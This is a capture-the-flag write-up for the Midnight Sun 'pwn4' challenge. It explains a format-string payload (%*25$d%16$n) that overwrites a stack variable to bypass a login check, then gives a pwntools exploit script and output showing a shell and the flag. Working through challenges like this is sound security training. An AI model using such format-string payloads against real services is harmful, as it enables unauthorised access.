### Explanation

Basic idea: copy the secret (4 bytes) from the stack to our guess variable (also on the stack) and pass the check.

- `%<N>d` normally this lets us print N characters total (a decimal int padded to N spaces).
- `%*25$d` the asterisk lets us choose the value for N from the stack, so we choose 25$, which is the position of the secret value: this will therefore print a number of chars equal to the secret value.
- `%16$n` this will then write the number of printed chars to our variable on the stack (position 16) that is later compared with the secret.

Final format string: `%*25$d%16$n`. This will print *A LOT* of characters back (like 1GB of spaces), but works after trying a few times and getting a small secret value.

### Code

#!/usr/bin/env python2
# Author: Marco Bonelli - @mebeim
# Date : 2020-04-04
# https://gist.github.com/mebeim/f74504ec20399ecb9384f826391f7598

from pwn import *

HOST = 'pwn4-01.play.midnightsunctf.se'
PORT = 10004
EXE = './pwn4'

if args.REMOTE:
r = remote(HOST, PORT)
else:
r = process(EXE)

r.recvuntil("user: ")
r.sendline("%*25$d%16$n")
r.recvuntil("code: ")
r.sendline(str(10))
r.recvuntil("logged: ")

tot = 0
p = log.progress('Receiving all data')
log.info('Press CTRL+C to switch to interactive...');

while 1:
try:
data = r.recv(1000 * 1000)
tot += len(data)
p.status('%d MB', tot/1e6)
except:
break

p.success('done (%d MB)', tot/1e6)
r.interactive()

### Output

[+] Opening connection to pwn4-01.play.midnightsunctf.se on port 10004: Done
[+] Receiving all data: done (1 MB)
[*] Press CTRL+C to switch to interactive...
[*] Switching to interactive mode
$ cat flag
midnight{12_pwny_men_33269c083256f5f3}
$
[*] Interrupted
[*] Closed connection to pwn4-01.play.midnightsunctf.se port 10004